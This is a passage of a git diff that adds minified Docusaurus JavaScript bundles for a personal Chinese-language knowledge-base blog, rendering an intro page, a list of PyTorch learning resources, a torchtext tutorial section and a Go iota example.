5236\u76848\u3002\uff09"]}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:"const (\n\t\t_ = iota\n\t\tKB = 1 << (10 * iota)\n\t\tMB = 1 << (10 * iota)\n\t\tGB = 1 << (10 * iota)\n\t\tTB = 1 << (10 * iota)\n\t\tPB = 1 << (10 * iota)\n\t)\n"})}),"\n",(0,l.jsxs)(e.p,{children:["\u591a\u4e2a",(0,l.jsx)(e.code,{children:"iota"}),"\u5b9a\u4e49\u5728\u4e00\u884c"]}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:"const (\n\t\ta, b = iota + 1, iota + 2 //1,2\n\t\tc, d //2,3\n\t\te, f //3,4\n\t)\n"})})]})}function h(n={}){const{wrapper:e}={...(0,s.R)(),...n.components};return e?(0,l.jsx)(e,{...n,children:(0,l.jsx)(t,{...n})}):t(n)}}}]); \ No newline at end of file diff --git a/en/assets/js/0e384e19.add03659.js b/en/assets/js/0e384e19.add03659.js new file mode 100644 index 0000000..358fbb7 --- /dev/null +++ b/en/assets/js/0e384e19.add03659.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[3976],{2053:(e,n,t)=>{t.r(n),t.d(n,{assets:()=>c,contentTitle:()=>o,default:()=>d,frontMatter:()=>r,metadata:()=>i,toc:()=>h});const i=JSON.parse('{"id":"intro","title":"intro","description":"\u4e0d\u77e5\u53e4\u9053\u7684\u98ce\uff0c\u53ef\u4ed6\u5439\u5f80\u7684\u662f\u6545\u91cc","source":"@site/docs/intro.md","sourceDirName":".","slug":"/intro","permalink":"/en/docs/intro","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/intro.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","next":{"title":"\u4fe1\u606f\u6536\u96c6","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u4fe1\u606f\u6536\u96c6/"}}');var s=t(74848),l=t(28453);const r={},o=void 0,c={},h=[{value:"About Me",id:"about-me",level:2},{value:"\u5176\u4ed6\u77e5\u8bc6\u5e93",id:"\u5176\u4ed6\u77e5\u8bc6\u5e93",level:2}];function a(e){const n={a:"a",h2:"h2",h4:"h4",img:"img",li:"li",p:"p",ul:"ul",...(0,l.R)(),...e.components};return(0,s.jsxs)(s.Fragment,{children:[(0,s.jsx)(n.h4,{align:"center",children:"\u4e0d\u77e5\u53e4\u9053\u7684\u98ce\uff0c\u53ef\u4ed6\u5439\u5f80\u7684\u662f\u6545\u91cc"}),"\n",(0,s.jsxs)(n.p,{align:"center",children:["\n ",(0,s.jsxs)(n.a,{href:"https://www.wjlin0.com",children:["\n ",(0,s.jsx)(n.img,{alt:"Static Badge",src:"https://img.shields.io/badge/wjlin0-BLOG-blue?logo=markdown&logoColor=blue&labelColor=FFFFFF"})," \n "]}),"\n ",(0,s.jsxs)(n.a,{href:"https://github.com/wjlin0/pathScan",children:["\n ",(0,s.jsx)(n.img,{alt:"Static Badge",src:"https://img.shields.io/badge/wjlin0-pathScan-blue?logo=go&labelColor=FFFFFF"}),"\n "]}),"\n"]}),"\n",(0,s.jsx)(n.h2,{id:"about-me",children:"About Me"}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsxs)(n.li,{children:["GitHub\uff1a",(0,s.jsx)(n.a,{href:"https://github.com/wjlin0/",children:"https://github.com/wjlin0/"})]}),"\n",(0,s.jsxs)(n.li,{children:["\u90ae\u7bb1\uff1a",(0,s.jsx)(n.a,{href:"mailto:admin@wjlin0.com",children:"admin@wjlin0.com"})]}),"\n",(0,s.jsxs)(n.li,{children:["\u535a\u5ba2\uff1a",(0,s.jsx)(n.a,{href:"https://www.wjlin0.com",children:"https://www.wjlin0.com"})]}),"\n",(0,s.jsxs)(n.li,{children:["\u8ba2\u9605\uff1a",(0,s.jsx)(n.a,{href:"https://blog.wjlin0.com/rss.xml",children:"https://blog.wjlin0.com/rss.xml"})]}),"\n"]}),"\n",(0,s.jsx)(n.h2,{id:"\u5176\u4ed6\u77e5\u8bc6\u5e93",children:"\u5176\u4ed6\u77e5\u8bc6\u5e93"}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsx)(n.li,{children:(0,s.jsx)(n.a,{href:"https://www.leavesongs.com/",children:"P\u795e"})}),"\n",(0,s.jsx)(n.li,{children:(0,s.jsx)(n.a,{href:"https://blog.gm7.org/",children:"d4m1ts"})}),"\n",(0,s.jsx)(n.li,{children:(0,s.jsx)(n.a,{href:"https://wiki.wgpsec.org/knowledge/",children:"\u72fc\u7ec4\u5b89\u5168\u56e2\u961f\u516c\u5f00\u77e5\u8bc6\u5e93"})}),"\n",(0,s.jsx)(n.li,{children:(0,s.jsx)(n.a,{href:"http://wiki.peiqi.tech/",children:"PeiQi\u6587\u5e93"})}),"\n",(0,s.jsx)(n.li,{children:(0,s.jsx)(n.a,{href:"https://blog.assetnote.io/",children:"Assetnote"})}),"\n",(0,s.jsx)(n.li,{children:(0,s.jsx)(n.a,{href:"https://blog.projectdiscovery.io/",children:"projectdiscovery"})}),"\n"]})]})}function d(e={}){const{wrapper:n}={...(0,l.R)(),...e.components};return n?(0,s.jsx)(n,{...e,children:(0,s.jsx)(a,{...e})}):a(e)}},28453:(e,n,t)=>{t.d(n,{R:()=>r,x:()=>o});var i=t(96540);const s={},l=i.createContext(s);function r(e){const n=i.useContext(l);return i.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function o(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(s):e.components||s:r(e.components),i.createElement(l.Provider,{value:n},e.children)}}}]); \ No newline at end of file diff --git a/en/assets/js/0e551242.b6cf1ff9.js b/en/assets/js/0e551242.b6cf1ff9.js new file mode 100644 index 0000000..411034e --- /dev/null +++ b/en/assets/js/0e551242.b6cf1ff9.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[4347],{28453:(e,t,n)=>{n.d(t,{R:()=>c,x:()=>l});var r=n(96540);const s={},h=r.createContext(s);function c(e){const t=r.useContext(h);return r.useMemo(function(){return"function"==typeof e?e(t):{...t,...e}},[t,e])}function l(e){let t;return t=e.disableParentContext?"function"==typeof e.components?e.components(s):e.components||s:c(e.components),r.createElement(h.Provider,{value:t},e.children)}},50841:(e,t,n)=>{n.r(t),n.d(t,{assets:()=>i,contentTitle:()=>l,default:()=>a,frontMatter:()=>c,metadata:()=>r,toc:()=>o});const r=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e00\u7ae0/1.3 PyTorch\u76f8\u5173\u8d44\u6e90","title":"1.3 PyTorch\u76f8\u5173\u8d44\u6e90.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/01.\u7b2c\u4e00\u7ae0/1.3 PyTorch\u76f8\u5173\u8d44\u6e90.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/01.\u7b2c\u4e00\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e00\u7ae0/1.3 PyTorch\u76f8\u5173\u8d44\u6e90","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e00\u7ae0/1.3 PyTorch\u76f8\u5173\u8d44\u6e90","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/01.\u7b2c\u4e00\u7ae0/1.3 PyTorch\u76f8\u5173\u8d44\u6e90.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"1.2 PyTorch\u7684\u5b89\u88c5.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e00\u7ae0/1.2 PyTorch\u7684\u5b89\u88c5"},"next":{"title":"\u7b2c\u4e8c\u7ae0","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e8c\u7ae0/"}}');var s=n(74848),h=n(28453);const c={},l="1.3 PyTorch\u76f8\u5173\u8d44\u6e90.md",i={},o=[{value:"1.3.1 PyTorch\u5b66\u4e60\u8d44\u6e90",id:"131-pytorch\u5b66\u4e60\u8d44\u6e90",level:2}];function d(e){const t={a:"a",h1:"h1",h2:"h2",header:"header",img:"img",li:"li",ol:"ol",p:"p",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,h.R)(),...e.components};return(0,s.jsxs)(s.Fragment,{children:[(0,s.jsx)(t.header,{children:(0,s.jsx)(t.h1,{id:"13-pytorch\u76f8\u5173\u8d44\u6e90md",children:"1.3 PyTorch\u76f8\u5173\u8d44\u6e90.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(t.table,{children:[(0,s.jsx)(t.thead,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(t.tbody,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:(0,s.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:10"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(t.table,{children:[(0,s.jsx)(t.thead,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(t.tbody,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:(0,s.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,s.jsx)(t.h1,{id:"13-pytorch\u76f8\u5173\u8d44\u6e90",children:"1.3 PyTorch\u76f8\u5173\u8d44\u6e90"}),"\n",(0,s.jsx)(t.p,{children:"PyTorch\u4e4b\u6240\u4ee5\u88ab\u8d8a\u6765\u8d8a\u591a\u7684\u4eba\u4f7f\u7528\uff0c\u4e0d\u4ec5\u5728\u4e8e\u5176\u5b8c\u5907\u7684\u6559\u7a0b\uff0c\u8fd8\u53d7\u76ca\u4e8e\u8bb8\u591a\u76f8\u5173\u7684\u8d44\u6e90\u548c\u5b8c\u5584\u7684\u8bba\u575b\u3002"}),"\n",(0,s.jsx)(t.p,{children:"\u7ecf\u8fc7\u672c\u8282\u7684\u5b66\u4e60\uff0c\u4f60\u5c06\u6536\u83b7\uff1a"}),"\n",(0,s.jsxs)(t.ul,{children:["\n",(0,s.jsx)(t.li,{children:"PyTorch\u7684\u4f18\u8d28\u5b66\u4e60\u8d44\u6e90"}),"\n"]}),"\n",(0,s.jsx)(t.h2,{id:"131-pytorch\u5b66\u4e60\u8d44\u6e90",children:"1.3.1 PyTorch\u5b66\u4e60\u8d44\u6e90"}),"\n",(0,s.jsxs)(t.ol,{children:["\n",(0,s.jsxs)(t.li,{children:[(0,s.jsx)(t.a,{href:"https://github.com/bharathgs/Awesome-pytorch-list",children:"Awesome-pytorch-list"}),"\uff1a\u76ee\u524d\u5df2\u83b712K Star\uff0c\u5305\u542b\u4e86NLP,CV,\u5e38\u89c1\u5e93\uff0c\u8bba\u6587\u5b9e\u73b0\u4ee5\u53caPytorch\u7684\u5176\u4ed6\u9879\u76ee\u3002"]}),"\n",(0,s.jsxs)(t.li,{children:[(0,s.jsx)(t.a,{href:"https://pytorch.org/docs/stable/index.html",children:"PyTorch\u5b98\u65b9\u6587\u6863"}),"\uff1a\u5b98\u65b9\u53d1\u5e03\u7684\u6587\u6863\uff0c\u5341\u5206\u4e30\u5bcc\u3002"]}),"\n",(0,s.jsxs)(t.li,{children:[(0,s.jsx)(t.a,{href:"https://github.com/zergtant/pytorch-handbook",children:"Pytorch-handbook"}),"\uff1aGitHub\u4e0a\u5df2\u7ecf\u6536\u83b714.8K\uff0cpytorch\u624b\u4e2d\u4e66\u3002"]}),"\n",(0,s.jsxs)(t.li,{children:[(0,s.jsx)(t.a,{href:"https://discuss.pytorch.org/",children:"PyTorch\u5b98\u65b9\u793e\u533a"}),"\uff1aPyTorch\u62e5\u6709\u4e00\u4e2a\u6d3b\u8dc3\u7684\u793e\u533a\uff0c\u5728\u8fd9\u91cc\u4f60\u53ef\u4ee5\u548c\u5f00\u53d1pytorch\u7684\u4eba\u4eec\u8fdb\u884c\u4ea4\u6d41\u3002"]}),"\n",(0,s.jsxs)(t.li,{children:[(0,s.jsx)(t.a,{href:"https://pytorch.org/tutorials/",children:"PyTorch\u5b98\u65b9tutorials"}),"\uff1a\u5b98\u65b9\u7f16\u5199\u7684tutorials\uff0c\u53ef\u4ee5\u7ed3\u5408colab\u8fb9\u52a8\u624b\u8fb9\u5b66\u4e60"]}),"\n",(0,s.jsxs)(t.li,{children:[(0,s.jsx)(t.a,{href:"https://zh.d2l.ai/",children:"\u52a8\u624b\u5b66\u6df1\u5ea6\u5b66\u4e60"}),"\uff1a\u52a8\u624b\u5b66\u6df1\u5ea6\u5b66\u4e60\u662f\u7531\u674e\u6c90\u8001\u5e08\u4e3b\u8bb2\u7684\u4e00\u95e8\u6df1\u5ea6\u5b66\u4e60\u5165\u95e8\u8bfe\uff0c\u62e5\u6709\u6210\u719f\u7684\u4e66\u7c4d\u8d44\u6e90\u548c\u8bfe\u7a0b\u8d44\u6e90\uff0c\u5728B\u7ad9\uff0cYoutube\u5747\u6709\u56de\u653e\u3002"]}),"\n",(0,s.jsxs)(t.li,{children:[(0,s.jsx)(t.a,{href:"https://github.com/INTERMT/Awesome-PyTorch-Chinese",children:"Awesome-PyTorch-Chinese"}),"\uff1a\u5e38\u89c1\u7684\u4e2d\u6587\u4f18\u8d28PyTorch\u8d44\u6e90"]}),"\n",(0,s.jsxs)(t.li,{children:[(0,s.jsx)(t.a,{href:"https://github.com/labmlai/annotated_deep_learning_paper_implementations",children:"labml.ai Deep Learning Paper Implementations"}),"\uff1a\u624b\u628a\u624b\u5b9e\u73b0\u7ecf\u5178\u7f51\u7edc\u4ee3\u7801"]}),"\n",(0,s.jsxs)(t.li,{children:[(0,s.jsx)(t.a,{href:"https://github.com/yandexdataschool/nlp_course",children:"YSDA course in Natural Language Processing"}),":YSDA course in Natural Language Processing"]}),"\n",(0,s.jsxs)(t.li,{children:[(0,s.jsx)(t.a,{href:"https://huggingface.co/",children:"huggingface"}),":hugging face"]}),"\n",(0,s.jsxs)(t.li,{children:[(0,s.jsx)(t.a,{href:"https://modelscope.cn/models",children:"ModelScope"}),": \u9b54\u642d\u793e\u533a"]}),"\n"]}),"\n",(0,s.jsx)(t.p,{children:"\u9664\u6b64\u4e4b\u5916\uff0c\u8fd8\u6709\u5f88\u591a\u5b66\u4e60pytorch\u7684\u8d44\u6e90\u5728b\u7ad9\uff0cstackoverflow\uff0c\u77e5\u4e4e......\u672a\u6765\u5927\u5bb6\u8fd8\u9700\u8981\u591a\u591a\u63a2\u7d22\uff0c\u6211\u4eec\u5e0c\u671b\u5927\u5bb6\u53ef\u4ee5\u5728\u5b9e\u6218\u4e2d\u4e0d\u65ad\u5b66\u4e60\uff0c\u4e0d\u65ad\u7ed9\u4e88\u6211\u4eec\u8bfe\u7a0b\u53cd\u9988\u3002"}),"\n",(0,s.jsx)(t.p,{children:(0,s.jsx)(t.strong,{children:"\u4ee5\u4e0a\u4fbf\u662f\u7b2c\u4e00\u7ae0\u7684\u5185\u5bb9\u4e86\uff0c\u80fd\u529b\u6709\u9650\uff0c\u5e0c\u671b\u5404\u4f4d\u4e00\u5b9a\u8981\u5e26\u7740\u81ea\u5df1\u7684\u60f3\u6cd5\u53bb\u601d\u8003\u95ee\u9898\uff0c\u4e5f\u5e0c\u671b\u5404\u4f4d\u80fd\u6307\u51fa\u6587\u6863\u4e2d\u7684\u95ee\u9898\uff0c\u6211\u4eec\u4f1a\u4e0d\u65ad\u6539\u8fdb\u5185\u5bb9\uff0c\u7ed9\u5927\u5bb6\u5448\u73b0\u4e00\u4e2a\u66f4\u597d\u7684\u6559\u7a0b\u3002"})})]})}function a(e={}){const{wrapper:t}={...(0,h.R)(),...e.components};return t?(0,s.jsx)(t,{...e,children:(0,s.jsx)(d,{...e})}):d(e)}}}]); \ No newline at end of file diff --git a/en/assets/js/0f2a20ea.9c56c20c.js b/en/assets/js/0f2a20ea.9c56c20c.js new file mode 100644 index 0000000..68f10fc --- /dev/null +++ b/en/assets/js/0f2a20ea.9c56c20c.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[9466],{28453:(e,t,n)=>{n.d(t,{R:()=>i,x:()=>a});var s=n(96540);const r={},l=s.createContext(r);function i(e){const t=s.useContext(l);return s.useMemo(function(){return"function"==typeof e?e(t):{...t,...e}},[t,e])}function a(e){let t;return t=e.disableParentContext?"function"==typeof e.components?e.components(r):e.components||r:i(e.components),s.createElement(l.Provider,{value:t},e.children)}},47329:(e,t,n)=>{n.r(t),n.d(t,{assets:()=>c,contentTitle:()=>a,default:()=>h,frontMatter:()=>i,metadata:()=>s,toc:()=>d});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/8.4 \u6587\u672c - torchtext","title":"8.4 \u6587\u672c - torchtext.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/08.\u7b2c\u516b\u7ae0/8.4 \u6587\u672c - torchtext.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/08.\u7b2c\u516b\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/8.4 \u6587\u672c - torchtext","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/8.4 \u6587\u672c - torchtext","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/08.\u7b2c\u516b\u7ae0/8.4 \u6587\u672c - torchtext.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"8.3 \u89c6\u9891 - PyTorchVideo.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/8.3 \u89c6\u9891 - PyTorchVideo"},"next":{"title":"8.5 \u97f3\u9891 - torchaudio.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/8.5 \u97f3\u9891 - torchaudio"}}');var r=n(74848),l=n(28453);const i={},a="8.4 \u6587\u672c - torchtext.md",c={},d=[{value:"8.4.1 torchtext\u7684\u4e3b\u8981\u7ec4\u6210\u90e8\u5206",id:"841-torchtext\u7684\u4e3b\u8981\u7ec4\u6210\u90e8\u5206",level:2},{value:"8.4.2 torchtext\u7684\u5b89\u88c5",id:"842-torchtext\u7684\u5b89\u88c5",level:2},{value:"8.4.3 \u6784\u5efa\u6570\u636e\u96c6",id:"843-\u6784\u5efa\u6570\u636e\u96c6",level:2},{value:"8.4.4 \u8bc4\u6d4b\u6307\u6807\uff08metric\uff09",id:"844-\u8bc4\u6d4b\u6307\u6807metric",level:2},{value:"8.4.5 \u5176\u4ed6",id:"845-\u5176\u4ed6",level:2}];function o(e){const t={a:"a",code:"code",h1:"h1",h2:"h2",header:"header",img:"img",li:"li",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,l.R)(),...e.components};return(0,r.jsxs)(r.Fragment,{children:[(0,r.jsx)(t.header,{children:(0,r.jsx)(t.h1,{id:"84-\u6587\u672c---torchtextmd",children:"8.4 \u6587\u672c - torchtext.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(t.table,{children:[(0,r.jsx)(t.thead,{children:(0,r.jsxs)(t.tr,{children:[(0,r.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(t.tbody,{children:(0,r.jsxs)(t.tr,{children:[(0,r.jsx)(t.td,{style:{textAlign:"left"},children:(0,r.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(t.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:29"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(t.table,{children:[(0,r.jsx)(t.thead,{children:(0,r.jsxs)(t.tr,{children:[(0,r.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(t.tbody,{children:(0,r.jsxs)(t.tr,{children:[(0,r.jsx)(t.td,{style:{textAlign:"left"},children:(0,r.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(t.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,r.jsx)(t.h1,{id:"84-torchtext\u7b80\u4ecb",children:"8.4 torchtext\u7b80\u4ecb"}),"\n",(0,r.jsx)(t.p,{children:"\u672c\u8282\u6211\u4eec\u6765\u4ecb\u7ecdPyTorch\u5b98\u65b9\u7528\u4e8e\u81ea\u7136\u8bed\u8a00\u5904\u7406\uff08NLP\uff09\u7684\u5de5\u5177\u5305torchtext\u3002\u81ea\u7136\u8bed\u8a00\u5904\u7406\u4e5f\u662f\u6df1\u5ea6\u5b66\u4e60\u7684\u4e00\u5927\u5e94\u7528\u573a\u666f\uff0c\u8fd1\u5e74\u6765\u968f\u7740\u5927\u89c4\u6a21\u9884\u8bad\u7ec3\u6a21\u578b\u7684\u5e94\u7528\uff0c\u6df1\u5ea6\u5b66\u4e60\u5728\u4eba\u673a\u5bf9\u8bdd\u3001\u673a\u5668\u7ffb\u8bd1\u7b49\u9886\u57df\u7684\u53d6\u5f97\u4e86\u975e\u5e38\u597d\u7684\u6548\u679c\uff0c\u4e5f\u4f7f\u5f97NLP\u76f8\u5173\u7684\u6df1\u5ea6\u5b66\u4e60\u6a21\u578b\u83b7\u5f97\u4e86\u8d8a\u6765\u8d8a\u591a\u7684\u5173\u6ce8\u3002"}),"\n",(0,r.jsx)(t.p,{children:"\u7531\u4e8eNLP\u548cCV\u5728\u6570\u636e\u9884\u5904\u7406\u4e2d\u7684\u4e0d\u540c\uff0c\u56e0\u6b64NLP\u7684\u5de5\u5177\u5305torchtext\u548ctorchvision\u7b49CV\u76f8\u5173\u5de5\u5177\u5305\u4e5f\u6709\u4e00\u4e9b\u529f\u80fd\u4e0a\u7684\u5dee\u5f02\uff0c\u5982\uff1a"}),"\n",(0,r.jsxs)(t.ul,{children:["\n",(0,r.jsx)(t.li,{children:"\u6570\u636e\u96c6\uff08dataset\uff09\u5b9a\u4e49\u65b9\u5f0f\u4e0d\u540c"}),"\n",(0,r.jsx)(t.li,{children:"\u6570\u636e\u9884\u5904\u7406\u5de5\u5177"}),"\n",(0,r.jsx)(t.li,{children:"\u6ca1\u6709\u7433\u7405\u6ee1\u76ee\u7684model zoo"}),"\n"]}),"\n",(0,r.jsxs)(t.p,{children:["\u672c\u8282\u4ecb\u7ecd\u53c2\u8003\u4e86",(0,r.jsx)(t.a,{href:"https://github.com/atnlp/torchtext-summary",children:"atnlp\u7684Github"}),"\uff0c\u5728\u6b64\u81f4\u8c22\uff01"]}),"\n",(0,r.jsx)(t.h2,{id:"841-torchtext\u7684\u4e3b\u8981\u7ec4\u6210\u90e8\u5206",children:"8.4.1 torchtext\u7684\u4e3b\u8981\u7ec4\u6210\u90e8\u5206"}),"\n",(0,r.jsx)(t.p,{children:"torchtext\u53ef\u4ee5\u65b9\u4fbf\u7684\u5bf9\u6587\u672c\u8fdb\u884c\u9884\u5904\u7406\uff0c\u4f8b\u5982\u622a\u65ad\u8865\u957f\u3001\u6784\u5efa\u8bcd\u8868\u7b49\u3002torchtext\u4e3b\u8981\u5305\u542b\u4e86\u4ee5\u4e0b\u7684\u4e3b\u8981\u7ec4\u6210\u90e8\u5206\uff1a"}),"\n",(0,r.jsxs)(t.ul,{children:["\n",(0,r.jsx)(t.li,{children:"\u6570\u636e\u5904\u7406\u5de5\u5177 torchtext.data.functional\u3001torchtext.data.utils"}),"\n",(0,r.jsx)(t.li,{children:"\u6570\u636e\u96c6 torchtext.data.datasets"}),"\n",(0,r.jsx)(t.li,{children:"\u8bcd\u8868\u5de5\u5177 torchtext.vocab"}),"\n",(0,r.jsx)(t.li,{children:"\u8bc4\u6d4b\u6307\u6807 torchtext.metrics"}),"\n"]}),"\n",(0,r.jsx)(t.h2,{id:"842-torchtext\u7684\u5b89\u88c5",children:"8.4.2 torchtext\u7684\u5b89\u88c5"}),"\n",(0,r.jsx)(t.p,{children:"torchtext\u53ef\u4ee5\u76f4\u63a5\u4f7f\u7528pip\u8fdb\u884c\u5b89\u88c5\uff1a"}),"\n",(0,r.jsx)(t.pre,{children:(0,r.jsx)(t.code,{className:"language-bash",children:"pip install torchtext\n"})}),"\n",(0,r.jsx)(t.h2,{id:"843-\u6784\u5efa\u6570\u636e\u96c6",children:"8.4.3 \u6784\u5efa\u6570\u636e\u96c6"}),"\n",(0,r.jsxs)(t.ul,{children:["\n",(0,r.jsx)(t.li,{children:(0,r.jsx)(t.strong,{children:"Field\u53ca\u5176\u4f7f\u7528"})}),"\n"]}),"\n",(0,r.jsxs)(t.p,{children:["Field\u662ftorchtext\u4e2d\u5b9a\u4e49\u6570\u636e\u7c7b\u578b\u4ee5\u53ca\u8f6c\u6362\u4e3a\u5f20\u91cf\u7684\u6307\u4ee4\u3002",(0,r.jsx)(t.code,{children:"torchtext"})," \u8ba4\u4e3a\u4e00\u4e2a\u6837\u672c\u662f\u7531\u591a\u4e2a\u5b57\u6bb5\uff08\u6587\u672c\u5b57\u6bb5\uff0c\u6807\u7b7e\u5b57\u6bb5\uff09\u7ec4\u6210\uff0c\u4e0d\u540c\u7684\u5b57\u6bb5\u53ef\u80fd\u4f1a\u6709\u4e0d\u540c\u7684\u5904\u7406\u65b9\u5f0f\uff0c\u6240\u4ee5\u624d\u4f1a\u6709 ",(0,r.jsx)(t.code,{children:"Field"})," \u62bd\u8c61\u3002\u5b9a\u4e49Field\u5bf9\u8c61\u662f\u4e3a\u4e86\u660e\u786e\u5982\u4f55\u5904\u7406\u4e0d\u540c\u7c7b\u578b\u7684\u6570\u636e\uff0c\u4f46\u5177\u4f53\u7684\u5904\u7406\u5219\u662f\u5728Dataset\u4e2d\u5b8c\u6210\u7684\u3002\u4e0b\u9762\u6211\u4eec\u901a\u8fc7\u4e00\u4e2a\u4f8b\u5b50\u6765\u7b80\u8981\u8bf4\u660e\u4e00\u4e0bField\u7684\u4f7f\u7528\uff1a"]}),"\n",(0,r.jsx)(t.pre,{children:(0,r.jsx)(t.code,{className:"language-python",children:"tokenize = lambda x: x.split()\nTEXT = data.Field(sequential=True, tokenize=tokenize, lower=True, fix_length=200)\nLABEL = data.Field(sequential=False, 